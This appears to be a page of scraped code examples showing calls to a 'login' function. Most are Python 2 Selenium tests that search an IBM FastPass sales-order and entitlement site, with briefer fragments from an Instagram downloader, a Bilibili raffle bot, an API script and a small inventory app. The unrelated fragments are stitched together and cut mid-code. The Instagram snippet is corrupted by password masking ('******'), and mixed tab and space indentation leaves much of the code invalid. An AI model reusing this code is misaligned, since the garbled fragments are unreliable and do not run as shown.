	driver.implicitly_wait(10)
        time.sleep(3)
        result = driver.title
        assert result == 'FastPass | Sales orders - Services agreement' ,"The page did not be opened correct"
        assert 'Renewal type' in driver.page_source ,"The data is not avalible"
        assert 'Continuously bill' in driver.page_source ,"The data is not avalible"
        C_screenshots.C_screenshots(self,'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Mobile\\result\\image\\','SalesOrderNewRenewalType_p5')
        time.sleep(3)

	print "\n"
	print "step8.hit back"
        driver.find_element_by_xpath("(//a[contains(text(),'Sales orders')])[2]").click()
	time.sleep(3)
	result = driver.title
        assert result == 'FastPass | Sales order - Sales order search' ,"The page did not be opened correct"
	time.sleep(3)


	print "\n"
	print "step9.Input 'SAP sales order number' field with '0077085879' and click 'Search'."
	driver.find_element_by_id("sap_sales_ord_num").clear()
	driver.find_element_by_id("sap_sales_ord_num").send_keys("0077085879")
	driver.find_element_by_name("ibm-submit").submit()
	driver.implicitly_wait(10)
        time.sleep(3)
        result = driver.title
        assert result == 'FastPass | Sales orders - Services agreement' ,"The page did not be opened correct"
        assert 'Renewal type' in driver.page_source ,"The data is not avalible"
        assert 'Renew service term for 12 months - Renewed 2 time(s)' in driver.page_source ,"The data is not avalible"
        C_screenshots.C_screenshots(self,'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Mobile\\result\\image\\','SalesOrderNewRenewalType_p6')
        time.sleep(3)

	print "\n"
	print "step10.hit back"
        driver.find_element_by_xpath("(//a[contains(text(),'Sales orders')])[2]").click()
	time.sleep(3)
	result = driver.title
        assert result == 'FastPass | Sales order - Sales order search' ,"The page did not be opened correct"
	time.sleep(3)

	print "\n"
	print "step11.Input 'SAP sales order number' field with '0077080755' and click 'Search'."
	driver.find_element_by_id("sap_sales_ord_num").clear()
	driver.find_element_by_id("sap_sales_ord_num").send_keys("0077080755")
	driver.find_element_by_name("ibm-submit").submit()
	driver.implicitly_wait(10)
        time.sleep(3)
        result = driver.title
        assert result == 'FastPass | Sales orders - Services agreement' ,"The page did not be opened correct"
        assert 'Renewal type' in driver.page_source ,"The data is not avalible"
        assert 'Renew service term for the original term - Renewed 43 time(s)' in driver.page_source ,"The data is not avalible"
        C_screenshots.C_screenshots(self,'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Mobile\\result\\image\\','SalesOrderNewRenewalType_p7')
        time.sleep(3)

	print "\n"
	print "step12.hit back"
        driver.find_element_by_xpath("(//a[contains(text(),'Sales orders')])[2]").click()
	time.sleep(3)
	result = driver.title
        assert result == 'FastPass | Sales order - Sales order search' ,"The page did not be opened correct"
	time.sleep(3)

	print "\n"
	print "step13.Input 'SAP sales order number' field with '0077083233' and click 'Search'."
	driver.find_element_by_id("sap_sales_ord_num").clear()
	driver.find_element_by_id("sap_sales_ord_num").send_keys("0077083233")
	driver.find_element_by_name("ibm-submit").submit()
	driver.implicitly_wait(10)
        time.sleep(3)
        result = driver.title
        assert result == 'FastPass | Sales orders - Services agreement' ,"The page did not be opened correct"
        assert 'Renewal type' in driver.page_source ,"The data is not avalible"
        assert 'Continuously bill' in driver.page_source ,"The data is not avalible"
        C_screenshots.C_screenshots(self,'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Mobile\\result\\image\\','SalesOrderNewRenewalType_p8')
        time.sleep(3)

	print "\n"
	print "step14.hit back"
        driver.find_element_by_xpath("(//a[contains(text(),'Sales orders')])[2]").click()
	time.sleep(3)
	result = driver.title
        assert result == 'FastPass | Sales order - Sales order search' ,"The page did not be opened correct"
	time.sleep(3)		

	print "\n"
	print "step15.Input 'SAP sales order number' field with '0077083168' and click 'Search'."
	driver.find_element_by_id("sap_sales_ord_num").clear()
	driver.find_element_by_id("sap_sales_ord_num").send_keys("0077083168")
	driver.find_element_by_name("ibm-submit").submit()
	driver.implicitly_wait(10)
        time.sleep(3)
        result = driver.title
        assert result == 'FastPass | Sales orders - Services agreement' ,"The page did not be opened correct"
        assert 'Renewal type' in driver.page_source ,"The data is not avalible"
        assert 'Continuously bill' in driver.page_source ,"The data is not avalible"
        C_screenshots.C_screenshots(self,'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Mobile\\result\\image\\','SalesOrderNewRenewalType_p9')
        time.sleep(3)

	print "\n"
	print "step16.hit back"
        driver.find_element_by_xpath("(//a[contains(text(),'Sales orders')])[2]").click()
	time.sleep(3)
	result = driver.title
        assert result == 'FastPass | Sales order - Sales order search' ,"The page did not be opened correct"
	time.sleep(3)	


	print "\n"
	print "step17.Input 'SAP sales order number' field with '0077083238' and click 'Search'."
	driver.find_element_by_id("sap_sales_ord_num").clear()
	driver.find_element_by_id("sap_sales_ord_num").send_keys("0077083238")
	driver.find_element_by_name("ibm-submit").submit()
	driver.implicitly_wait(10)
        time.sleep(3)
        result = driver.title
        assert result == 'FastPass | Sales orders - Services agreement' ,"The page did not be opened correct"
        assert 'Renewal type' in driver.page_source ,"The data is not avalible"
        assert 'Continuously bill' in driver.page_source ,"The data is not avalible"
        C_screenshots.C_screenshots(self,'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Mobile\\result\\image\\','SalesOrderNewRenewalType_p10')
        time.sleep(3)

	print "\n"
	print "step18.hit back"
	driver.back()
	time.sleep(3)
	result = driver.title
        assert result == 'FastPass | Sales order - Sales order search' ,"The page did not be opened correct"
	time.sleep(3)

	
	print "\n"        
        print "Test Case end with successfully!"    
Example #39
0
                    cookiefile = files[int(cookiefile) - 1]
                    break
                except ValueError or IndexError:
                    print('Please enter one of the specified numbers!')
                    continue

            print(f"Using {cookiefile.split('/')[-1]}'s cookies")

            with open(cookiefile, 'rb') as in_cookies:
                new_session.cookies.update(pickle.load(in_cookies))

    if permit.lower() == 'n' or permit.lower() == 'no':
        print('Enter Instagram login credentials:')
        username = input('Username: '******'Password: '******'Login succesful:)')
        else:
            print('Login unsuccessful:(\nPlease try again after sometime!')
            exit()

target = input('Enter target profile: ')

print(
    f'Select the option which you wish to use:\n[1] Download DP [2] Download Post{ext_options}'
)
option = input(': ')

os.system('clear')
Example #40
0
    def test_Case_NewRealease_VOctober_SalesOrder_04(self):
		
	print "Test case start:"
	print "\n"
	print "step1. open the home page"
	driver = self.driver
	wait = self.wait
	driver.get(self.base_url + "software/xl/fastpass/agile/fphome.nsf/default?openform")
	driver.maximize_window()
	now_url = driver.current_url
	print now_url
	assert now_url == 'https://fpagile.boulder.ibm.com/software/xl/fastpass/agile/fphome.nsf/default?openform' ,"URL is not correct."
	C_screenshots.C_screenshots(self,'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Agile\\result\\image\\','NewRealease_VOctober_SalesOrder_04_p1')
	
	    
	###capture screenshots
	
	
	print "\n"
	print "step2.login"
	login.login(self,'Sales orders')
	C_screenshots.C_screenshots(self,'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Agile\\result\\image\\','NewRealease_VOctober_SalesOrder_04_p2')
	driver.find_element_by_name("submit").click()
	driver.implicitly_wait(10)

	print "\n"
	print "step3.Input 'site num' field with '0007052069' and click 'Search'.(Have 'All sites' clicked.  Have all program types checked.)."
	driver.find_element_by_id("site").clear()
	driver.find_element_by_id("site").send_keys("0007052069")
	time.sleep(1)
	driver.find_element_by_id("All_sites").click()
	time.sleep(1)
	driver.find_element_by_name("ibm-submit").submit()
	driver.implicitly_wait(10)
        time.sleep(3)
        result = driver.title
        assert result == 'FastPass | Agreements - Agreement details' ,"The page did not be opened correct"
        assert '7052069' in driver.page_source ,"The data is not avalible"
        C_screenshots.C_screenshots(self,'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Agile\\result\\image\\','NewRealease_VOctober_SalesOrder_07_p3')
        time.sleep(3)

	print "\n"
	print "step4.Click link of 7052069 ."
	driver.execute_script("window.scrollBy(0,600)","")
	time.sleep(3)
	driver.find_element_by_link_text("7052069").click()
	time.sleep(3)
	result = driver.title
        assert result == 'FastPass | Customers - Customer details' ,"The page did not be opened correct"
        assert 'Customer name #2:' in driver.page_source ,"The data is not avalible"
        assert 'Customer name #3:' in driver.page_source ,"The data is not avalible"
        C_screenshots.C_screenshots(self,'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Agile\\result\\image\\','NewRealease_VOctober_SalesOrder_07_p4')
        time.sleep(3)
	

	print "\n"
	print "step5.click link of Current view"
	driver.execute_script("window.scrollBy(0,1000)","")
	time.sleep(3)
	driver.find_element_by_link_text("Current view").click()
	time.sleep(3)
	result = driver.title
        assert result == 'FastPass | Sales orders - Current sales order' ,"The page did not be opened correct"
        C_screenshots.C_screenshots(self,'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Agile\\result\\image\\','NewRealease_VOctober_SalesOrder_07_p5')
	time.sleep(3)

	print "\n"
	print "step6.hit back"
	driver.back()
	time.sleep(3)
	result = driver.title
        assert result == 'FastPass | Customers - Customer details' ,"The page did not be opened correct"
	time.sleep(3)	

	print "\n"
	print "step7.click link of allView ."
#	driver.execute_script("window.scrollBy(0,1000)","")
	time.sleep(3)
	driver.find_element_by_link_text("All view").click()
	time.sleep(3)
	result = driver.title
        assert result == 'FastPass | Sales orders - Site historical information - Sorted by purchase order date' ,"The page did not be opened correct"
        C_screenshots.C_screenshots(self,'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Agile\\result\\image\\','NewRealease_VOctober_SalesOrder_07_p6')
        time.sleep(3)

	print "\n"
	print "step8.hit back"
	driver.back()
	time.sleep(3)
	result = driver.title
        assert result == 'FastPass | Customers - Customer details' ,"The page did not be opened correct"
	time.sleep(3)

	print "\n"
	print "step9.click link of View ."
#	driver.execute_script("window.scrollBy(0,1000)","")
	time.sleep(3)
	driver.find_element_by_xpath("(//a[contains(text(),'View')])[3]").click()
	time.sleep(3)
	result = driver.title
        assert result == 'FastPass | Sales orders - Services agreements by site' ,"The page did not be opened correct"
        C_screenshots.C_screenshots(self,'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Agile\\result\\image\\','NewRealease_VOctober_SalesOrder_07_p7')
        time.sleep(3)

	print "\n"
	print "step10.hit back"
	driver.back()
	time.sleep(3)
	result = driver.title
        assert result == 'FastPass | Customers - Customer details' ,"The page did not be opened correct"
	time.sleep(3)

	print "\n"
	print "step11.click link of View ."
#	driver.execute_script("window.scrollBy(0,1000)","")
	time.sleep(3)
	driver.find_element_by_xpath("(//a[contains(text(),'View')])[4]").click()
	time.sleep(3)
	result = driver.title
        assert result == 'FastPass | Sales orders - Global brand family history' ,"The page did not be opened correct"
        C_screenshots.C_screenshots(self,'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Agile\\result\\image\\','NewRealease_VOctober_SalesOrder_07_p8')
        time.sleep(3)

	print "\n"
	print "step12.hit back"
	driver.back()
	time.sleep(3)
	result = driver.title
        assert result == 'FastPass | Customers - Customer details' ,"The page did not be opened correct"
	time.sleep(3)

	print "\n"
	print "step13.click link of View ."
#	driver.execute_script("window.scrollBy(0,1000)","")
	time.sleep(3)
	driver.find_element_by_xpath("(//a[contains(text(),'View')])[2]").click()
	time.sleep(3)
	result = driver.title
        assert result == 'FastPass | Entitlements - Customer site entitlement information - Default sort by customer name' ,"The page did not be opened correct"
        C_screenshots.C_screenshots(self,'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Agile\\result\\image\\','NewRealease_VOctober_SalesOrder_07_p9')
        time.sleep(3)        

	print "\n"
	print "step14.hit back"
	driver.back()
	time.sleep(3)
	result = driver.title
        assert result == 'FastPass | Customers - Customer details' ,"The page did not be opened correct"
	time.sleep(3)
	
	print "\n"        
        print "Test Case end with successfully!"    
Example #41
0
 def openWindowLogin(self):
     self.window = QtWidgets.QMainWindow()
     self.ui = login.login()
     self.ui.setupUi(self.window, self.database)
     self.window.show()
     self.MainWindow.close()
Example #42
0
from bilitimer import BiliTimer

loop = asyncio.get_event_loop()
queue = asyncio.Queue()
fileDir = os.path.dirname(os.path.realpath('__file__'))
file_color = f'{fileDir}/conf/color.toml'
file_user = f'{fileDir}/conf/user.toml'
file_bilibili = f'{fileDir}/conf/bilibili.toml'
ConfigLoader(colorfile=file_color,
             userfile=file_user,
             bilibilifile=file_bilibili)

# print('Hello world.')
printer = Printer()
bilibili()
login.login()
Statistics()

rafflehandler = Rafflehandler()
biliconsole.Biliconsole(loop, queue)

list_raffle_connection = [connect.RaffleConnect(i) for i in range(1, 5)]
list_raffle_connection_task = [i.run() for i in list_raffle_connection]

danmu_connection = connect.connect()

bili_timer = BiliTimer()
delay_timer = Delay_Joiner()

console_thread = threading.Thread(target=biliconsole.controler)
Example #43
0
                                 verify=False)
        response_json = json.loads(response.content)
        #print (response_json)
        return response_json
    except:
        print("Error Occured")
        sys.exit()


#Gather Information
ip = input("Management Server IP Address: ")
user = input("Username: ")
pw = getpass.getpass('Password:'******'total']
if (args.Direktori !=
        ''):  # ada input argumen untuk nama folder (tidak kosong)
    print("Loading...")
    time.sleep(3)
    if (load(args.Direktori)
        ):  # F14 load -> True kalau foldernya ada, -> False kalau gada

        role = ""
        user_id = 0

        user_input = input(">>> ")

        while (role == ""):
            if (user_input == "login"):  # F02
                tuple_login = login(role, user_id)
                role = tuple_login[0]
                user_id = tuple_login[1]
            elif (user_input == "help"):  # F16
                help(role)
            elif (user_input == "exit"):  # F17
                exit(role)
            else:
                print("Silahkan login terlebih dahulu!")

            print()
            user_input = input(">>> ")

        load_inventori(user_id)

        while (user_input != "exit"):
    def test_Case_NewRelease104_2(self):

        print "Test case start:"
        print "\n"
        print "step1. open the home page"
        driver = self.driver
        wait = self.wait
        driver.get(self.base_url +
                   "software/xl/fastpass/agile/fphome.nsf/default?openform")
        driver.maximize_window()
        now_url = driver.current_url
        print now_url
        assert now_url == 'https://fpagile.boulder.ibm.com/software/xl/fastpass/agile/fphome.nsf/default?openform', "URL is not correct."
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Agile\\result\\image\\',
            'NewRelease104_2_p1')

        ###capture screenshots

        print "\n"
        print "step2.login"
        login.login(self, 'Sales orders')
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Agile\\result\\image\\',
            'NewRelease104_2_p2')
        driver.find_element_by_name("submit").click()
        driver.implicitly_wait(10)

        print "\n"
        print "step3.Search for one of the Billing Orders (53425267) using the Sales Order Search form's SAP Sales Order number entry box."
        driver.find_element_by_id("sap_sales_ord_num").clear()
        driver.find_element_by_id("sap_sales_ord_num").send_keys("53425267")
        time.sleep(1)
        #	driver.execute_script("window.scrollBy(0,document.body.scrollHeight)","")
        driver.find_element_by_name("ibm-submit").submit()
        driver.implicitly_wait(10)
        time.sleep(3)
        result = driver.title
        assert result == 'FastPass | Sales orders - Sales order information', "The page did not be opened correct"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Agile\\result\\image\\',
            'NewRelease104_2_p3')
        time.sleep(3)

        print "\n"
        print "step4.hit back"
        driver.back()
        driver.implicitly_wait(10)
        time.sleep(2)
        result = driver.title
        assert result == 'FastPass | Sales order - Sales order search', "The page did not be opened correct"

        print "\n"
        print "step5.Search for Services Agreement value (77080151)using Sales Order Search form."
        driver.find_element_by_id("services_agreement_number").clear()
        driver.find_element_by_id("services_agreement_number").send_keys(
            "77080151")
        time.sleep(1)
        #	driver.execute_script("window.scrollBy(0,document.body.scrollHeight)","")
        driver.find_element_by_name("ibm-submit").submit()
        driver.implicitly_wait(10)
        time.sleep(3)
        result = driver.title
        assert result == 'FastPass | Sales orders - Services agreement', "The page did not be opened correct"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Agile\\result\\image\\',
            'NewRelease104_2_p4')
        time.sleep(3)

        print "\n"
        print "step6.Click on 'entitlements' in the related links area."
        driver.find_element_by_link_text("Entitlements").click()
        driver.implicitly_wait(10)
        time.sleep(3)
        result = driver.title
        assert result == 'FastPass | Entitlements - Customer site entitlement information - Default sort by customer name', "The page did not be opened correct"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Agile\\result\\image\\',
            'NewRelease104_2_p5')
        time.sleep(3)

        print "\n"
        print "step7.Select dropdown option 'Active evolutions' and hit Go button. "
        sel = driver.find_element_by_xpath("//select[@id='dropList1']")
        Select(sel).select_by_value(
            './EntitlemtSalesTransAllForSAPID?openagent&agree_num=NAV&program=FC&ibm_cust_num=2829503&cust_type=NAV&cust_num=0003381669'
        )
        driver.find_element_by_name("ibm-go").click()
        driver.implicitly_wait(10)
        time.sleep(3)
        result = driver.title
        assert result == 'FastPass | Entitlements - All sales transactions for site - Default sort by order date', "The page did not be opened correct"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Agile\\result\\image\\',
            'NewRelease104_2_p6')
        time.sleep(3)

        print "\n"
        print "step8.Click on the first Part Number values."
        driver.find_element_by_xpath(
            "(//a[contains(text(),'D0M7QLL')])[1]").click()
        driver.implicitly_wait(10)
        time.sleep(3)
        result = driver.title
        assert result == 'FastPass | Entitlements - Part information', "The page did not be opened correct"
        assert 'SaaS part type:' in driver.page_source, "The page did not be opened correct"
        assert 'SaaS service provider:' in driver.page_source, "The page did not be opened correct"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Agile\\result\\image\\',
            'NewRelease104_2_p7')
        time.sleep(3)

        print "\n"
        print "step9.hit back"
        driver.back()
        driver.implicitly_wait(10)
        time.sleep(2)
        result = driver.title
        assert result == 'FastPass | Entitlements - All sales transactions for site - Default sort by order date'

        print "\n"
        print "step10.Click link of All managed entitlements."
        driver.find_element_by_link_text("All managed entitlements").click()
        driver.implicitly_wait(10)
        time.sleep(3)
        result = driver.title
        assert result == 'FastPass | Entitlements - All managed entitlements for site - Default sort by order date', "The page did not be opened correct"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Agile\\result\\image\\',
            'NewRelease104_2_p8')

        print "\n"
        print "step11.hit back"
        driver.back()
        driver.implicitly_wait(10)
        time.sleep(2)
        result = driver.title
        assert result == 'FastPass | Entitlements - All sales transactions for site - Default sort by order date'

        print "\n"
        print "step12.Click link of All sales orders."
        driver.find_element_by_link_text("All sales orders").click()
        driver.implicitly_wait(10)
        time.sleep(3)
        result = driver.title
        assert result == 'FastPass | Entitlements - All sales orders for site - Default sort by order date', "The page did not be opened correct"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Agile\\result\\image\\',
            'NewRelease104_2_p9')

        print "\n"
        print "step13.Click on the first sales order Number values."
        driver.execute_script("window.scrollBy(0,200)", "")
        time.sleep(1)
        driver.find_element_by_xpath(
            "(//a[contains(text(),'0077080151')])[1]").click()
        driver.implicitly_wait(10)
        time.sleep(3)
        result = driver.title
        assert result == 'FastPass | Sales orders - Services agreement', "The page did not be opened correct"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Agile\\result\\image\\',
            'NewRelease104_2_p10')
        time.sleep(3)

        print "\n"
        print "step14.Click link of All managed entitlements."
        driver.find_element_by_link_text("Associated billing orders").click()
        driver.implicitly_wait(10)
        time.sleep(3)
        result = driver.title
        assert result == 'FastPass | Sales orders - Services agreement billing orders', "The page did not be opened correct"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Agile\\result\\image\\',
            'NewRelease104_2_p11')

        print "\n"
        print "step15.Click on the first Billing order number  values."
        driver.execute_script("window.scrollBy(0,200)", "")
        time.sleep(1)
        driver.find_element_by_xpath(
            "(//a[contains(text(),'0053652320')])[1]").click()
        driver.implicitly_wait(10)
        time.sleep(3)
        result = driver.title
        assert result == 'FastPass | Sales orders - Sales order information', "The page did not be opened correct"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Agile\\result\\image\\',
            'NewRelease104_2_p12')
        time.sleep(3)

        print "\n"
        print "Test Case end with successfully!"
Example #46
0
def star():
    auto_star.error_flags = 'alse'
    login.login(browser)
    get_movieurl()
    auto_star.error_flags = 'ok'
 def login_phase(self):
     token = login.login(self.user)
     self.assertNotEqual(token, "none")
    def test_Case_141_4(self):

        print "Test case start:"
        print "\n"
        print "step1. open the home page"
        driver = self.driver
        wait = self.wait
        driver.get(self.base_url +
                   "software/xl/fastpass/agile/fphome.nsf/default?openform")
        driver.maximize_window()
        now_url = driver.current_url
        print now_url
        assert now_url == 'https://fpagile.boulder.ibm.com/software/xl/fastpass/agile/fphome.nsf/default?openform', "URL is not correct."
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Agile\\result\\image\\',
            'NewRelease141_4_p1')

        ###capture screenshots

        print "\n"
        print "step2.login"
        login.login(self, 'Entitlements')
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Agile\\result\\image\\',
            'NewRelease141_4_p2')
        driver.find_element_by_name("submit").click()
        driver.implicitly_wait(10)

        print "\n"
        print "step3.Input 'IBM Customer number' field with '8497000' and click 'Search'.(Have all program types checked.)"
        driver.get(
            "https://fpagile.boulder.ibm.com/software/xl/fastpass/agile/fastpass.nsf/entitlements?openform"
        )
        driver.find_element_by_id("ibmcustomernum").clear()
        driver.find_element_by_id("ibmcustomernum").send_keys("8497000")
        time.sleep(2)
        driver.execute_script("window.scrollBy(0,document.body.scrollHeight)",
                              "")
        time.sleep(2)
        driver.find_element_by_id("fconly").click()
        driver.find_element_by_name("ibm-submit").submit()
        time.sleep(5)
        result = driver.title
        assert result == 'FastPass | Entitlements - Customer site entitlement information - Default sort by customer name', "The page did not be opened correct"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Agile\\result\\image\\',
            'NewRelease141_4_p3')
        time.sleep(3)

        print "\n"
        print "step4.hit back"
        driver.back()
        time.sleep(3)

        print "\n"
        print "step5.Input 'IBM Customer number' field with '8412' and click 'Search'.(Have all program types checked.)"
        driver.find_element_by_id("ibmcustomernum").clear()
        driver.find_element_by_id("ibmcustomernum").send_keys("8412")
        time.sleep(2)
        driver.execute_script("window.scrollBy(0,document.body.scrollHeight)",
                              "")
        time.sleep(2)
        driver.find_element_by_id("fconly").click()
        driver.find_element_by_name("ibm-submit").submit()
        time.sleep(5)
        result = driver.title
        assert result == 'FastPass | Entitlements - Customer site entitlement information - Default sort by customer name', "The page did not be opened correct"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Agile\\result\\image\\',
            'NewRelease141_4_p4')
        time.sleep(3)

        print "\n"
        print "step6.hit back"
        driver.back()
        time.sleep(3)

        print "\n"
        print "step7.Input 'IBM Customer number' field with '7824737' and click 'Search'.(Have all program types checked.)"
        driver.find_element_by_id("ibmcustomernum").clear()
        driver.find_element_by_id("ibmcustomernum").send_keys("7824737")
        time.sleep(2)
        driver.execute_script("window.scrollBy(0,document.body.scrollHeight)",
                              "")
        time.sleep(2)
        driver.find_element_by_id("fconly").click()
        driver.find_element_by_name("ibm-submit").submit()
        time.sleep(5)
        result = driver.title
        assert result == 'FastPass | Entitlements - Customer site entitlement information - Default sort by customer name', "The page did not be opened correct"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Agile\\result\\image\\',
            'NewRelease141_4_p5')
        time.sleep(3)

        print "\n"
        print "Test Case end with successfully!"
Example #49
0
    def test_Case_SaasSolution(self):

        print "Test case start:"
        print "\n"
        print "step1. open the home page"
        driver = self.driver
        wait = self.wait
        driver.get(self.base_url + "fastpass.html")
        driver.maximize_window()
        now_url = driver.current_url
        print now_url
        assert now_url == 'http://sbybz2239.sby.ibm.com:19080/FastPassS2/fastpass.html', "URL is not correct."
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Mobile\\result\\image\\',
            'SaasSolution_p1')

        ###capture screenshots

        print "\n"
        print "step2.login"
        login.login(self, 'Agreements')
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Mobile\\result\\image\\',
            'SaasSolution_p2')
        driver.find_element_by_name("submit").click()
        driver.implicitly_wait(10)

        print "\n"
        print "step3.Input Agreement number 0000208050."
        driver.find_element_by_id("Agreement").clear()
        driver.find_element_by_id("Agreement").send_keys("0000208050")
        driver.find_element_by_id("All_sites").click()
        time.sleep(1)
        #driver.execute_script("window.scrollBy(0,200)","")
        driver.execute_script("window.scrollBy(0,document.body.scrollHeight)",
                              "")
        time.sleep(3)
        driver.find_element_by_id("spponly").click()
        driver.find_element_by_name("ibm-submit").submit()
        driver.implicitly_wait(10)
        time.sleep(5)
        result = driver.title
        assert result == 'FastPass | Agreements - Agreement search information', "The page did not be opened correct"
        assert 'SaaS Solution Provider - End user' in driver.page_source, "The data is not avalible"
        assert 'SaaS Solution Provider - Provider' in driver.page_source, "The data is not avalible"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Mobile\\result\\image\\',
            'SaasSolution_p3')
        time.sleep(3)

        print "\n"
        print "step4.Click the link of customer name (Etisalat Communications Corp ) "
        driver.implicitly_wait(10)
        driver.find_element_by_link_text(
            "Etisalat Communications Corp").click()
        #wait.until(lambda the_driver: the_driver.find_element_by_id('dropList1').is_displayed())
        #menu = driver.find_element_by_link_text("All sites")
        #driver.implicitly_wait(10)
        time.sleep(3)
        #ActionChains(driver).move_to_element(menu).perform()
        #driver.implicitly_wait(10)
        #driver.find_element_by_xpath("//input[@name='ibm-go']").click
        #driver.get("https://fpagile.boulder.ibm.com/software/xl/fastpass/agile/fastpass.nsf/salesorders?openform")
        result = driver.title
        assert result == 'FastPass | Agreements - Agreement site information', "The page did not be opened correct"
        assert 'SaaS Solution Provider' in driver.page_source, "The data is not avalible"
        assert 'End user' in driver.page_source, "The data is not avalible"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Mobile\\result\\image\\',
            'SaasSolution_p4')
        time.sleep(3)

        print "\n"
        print "step5.click the link of Agreement_num (208050)."
        driver.implicitly_wait(10)
        driver.execute_script("window.scrollBy(0,300)", "")
        time.sleep(3)
        driver.find_element_by_link_text("208050").click()
        #driver.execute_script("window.scrollBy(0,200)","")
        #driver.execute_script("window.scrollBy(0,document.body.scrollHeight)","")
        time.sleep(3)
        result = driver.title
        assert result == 'FastPass | Agreements - Agreement details', "The page did not be opened correct"
        assert 'SaaS Solution Provider' in driver.page_source, "The data is not avalible"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Mobile\\result\\image\\',
            'SaasSolution_p5')
        time.sleep(3)

        print "\n"
        print "step6.go back."
        driver.back()
        driver.implicitly_wait(10)
        time.sleep(5)
        result = driver.title
        assert result == 'FastPass | Agreements - Agreement site information', "The page did not be opened correct"

        print "\n"
        print "step7.click link of site number (7044053)"
        driver.implicitly_wait(10)
        #	driver.execute_script("window.scrollBy(0,300)","")
        time.sleep(3)
        driver.find_element_by_link_text("7044053").click()
        time.sleep(3)
        result = driver.title
        assert result == 'FastPass | Customers - Customer details', "The page did not be opened correct"
        assert 'SaaS Solution Provider providers' in driver.page_source, "The data is not avalible"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Mobile\\result\\image\\',
            'SaasSolution_p6')
        time.sleep(5)

        print "\n"
        print "step8.Go back"
        driver.back()
        driver.implicitly_wait(10)
        time.sleep(5)
        result = driver.title
        assert result == 'FastPass | Agreements - Agreement site information', "The page did not be opened correct"
        time.sleep(5)

        print "\n"
        print "step9.Click on 'Contacts' in related links area on the Agreement site information page."
        driver.implicitly_wait(10)
        time.sleep(3)
        driver.execute_script("window.scroll(0,0)", "")
        time.sleep(5)
        driver.find_element_by_link_text("Contacts").click()
        time.sleep(5)
        result = driver.title
        assert result == 'FastPass | Customers - Contact information', "The page did not be opened correct"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Mobile\\result\\image\\',
            'SaasSolution_p7')
        time.sleep(3)

        print "\n"
        print "step10.Go back"
        driver.back()
        driver.implicitly_wait(10)
        time.sleep(5)
        result = driver.title
        assert result == 'FastPass | Agreements - Agreement site information', "The page did not be opened correct"
        time.sleep(5)

        print "\n"
        print "step11.Click on 'Current sales order' in related links area on the Agreement site information page."
        driver.implicitly_wait(10)
        time.sleep(3)
        driver.find_element_by_link_text("Current sales orders").click()
        time.sleep(5)
        result = driver.title
        assert result == 'FastPass | Sales orders - Current sales order', "The page did not be opened correct"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Mobile\\result\\image\\',
            'SaasSolution_p8')
        time.sleep(3)

        print "\n"
        print "step12.Go back"
        driver.back()
        driver.implicitly_wait(10)
        time.sleep(5)
        result = driver.title
        assert result == 'FastPass | Agreements - Agreement site information', "The page did not be opened correct"
        time.sleep(5)

        print "\n"
        print "step13.Click on 'All sales orders' in related links area on the Agreement site information page."
        driver.implicitly_wait(10)
        time.sleep(3)
        driver.find_element_by_link_text("All sales orders").click()
        time.sleep(5)
        result = driver.title
        assert result == 'FastPass | Sales orders - Site historical information', "The page did not be opened correct"
        C_screenshots.C_screenshots(
            self,
